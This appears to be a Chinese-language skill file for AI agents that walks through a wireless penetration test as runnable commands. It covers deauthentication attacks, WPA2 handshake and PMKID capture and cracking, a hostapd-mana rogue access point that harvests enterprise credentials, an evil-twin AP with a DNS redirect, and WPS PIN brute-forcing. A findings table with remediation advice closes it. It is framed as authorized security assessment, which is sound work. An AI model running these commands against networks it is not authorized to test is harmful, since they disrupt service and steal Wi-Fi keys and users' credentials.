| name | performing-wireless-network-penetration-test |
| description | 执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。 |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["wireless-pentest","WiFi","Aircrack-ng","WPA2","WPA3","rogue-AP","evil-twin",802.11,"Kismet"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行无线网络渗透测试
概述
无线渗透测试评估组织 WiFi 基础设施的安全性,包括加密强度、认证机制、流氓接入点检测、客户端隔离和网络分段。测试覆盖 802.11a/b/g/n/ac/ax 协议、WPA2-PSK、WPA2-Enterprise、WPA3-SAE、强制门户以及在范围内的蓝牙/BLE。
前置条件
- 书面授权,指定无线测试范围(SSID、BSSID、物理位置)
- 支持监听模式和数据包注入的兼容无线网卡(如 Alfa AWUS036ACH、TP-Link TL-WN722N v1)
- 安装了 Aircrack-ng 套件、Bettercap、Wifite、Kismet 的 Kali Linux
- 对目标无线网络的物理邻近访问
- GPS 接收器(可选,用于绘制地图)
阶段一:无线侦察
启用监听模式
iwconfig
airmon-ng
airmon-ng check kill
airmon-ng start wlan0
iwconfig wlan0mon
被动扫描
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap
airodump-ng wlan0mon -c 6 -w channel6_scan
airodump-ng wlan0mon --band a -w 5ghz_scan
airodump-ng wlan0mon --band abg -w full_scan
kismet -c wlan0mon
网络清单
| SSID | BSSID | 信道 | 加密 | 客户端数 | 信号强度 |
|---|
| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |
| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |
| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |
| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |
阶段二:WPA2-PSK 攻击
捕获四次握手
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon
aircrack-ng corpguest-01.cap
破解 WPA2 密钥
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap
hcxpcapngtool -o hash.hc22000 corpguest-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
阶段三:WPA2-Enterprise 攻击
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF
hostapd-mana hostapd-mana.conf
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt
阶段四:邪恶双胞胎攻击
sudo bettercap -iface wlan0mon
wifi.recon on
wifi.ap
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
--address=/#/192.168.1.1
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon
阶段五:附加测试
流氓 AP 检测
客户端隔离测试
nmap -sn 192.168.10.0/24
nmap -sT -p 80,443,445,3389 10.0.0.0/24
WPS 攻击
wash -i wlan0mon
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv
发现模板
| 发现项 | 严重性 | CVSS | 修复建议 |
|---|
| WPA2-PSK 使用弱密码 | 高危 | 8.1 | 使用 20 字符以上的密码,或迁移至 WPA2-Enterprise |
| 打印机网络使用 WEP 加密 | 严重 | 9.1 | 升级至 WPA2/WPA3,划分打印机 VLAN |
| 访客 AP 启用了 WPS | 中危 | 5.3 | 在所有接入点上禁用 WPS |
| 访客网络无客户端隔离 | 高危 | 7.5 | 启用 AP 隔离和 VLAN 分段 |
| 流氓 AP 广播企业 SSID | 高危 | 8.1 | 部署 WIDS/WIPS,实施带证书验证的 802.1X |
| EAP-MSCHAP 无证书锁定 | 高危 | 7.5 | 在所有客户端上强制验证服务器证书 |
参考资料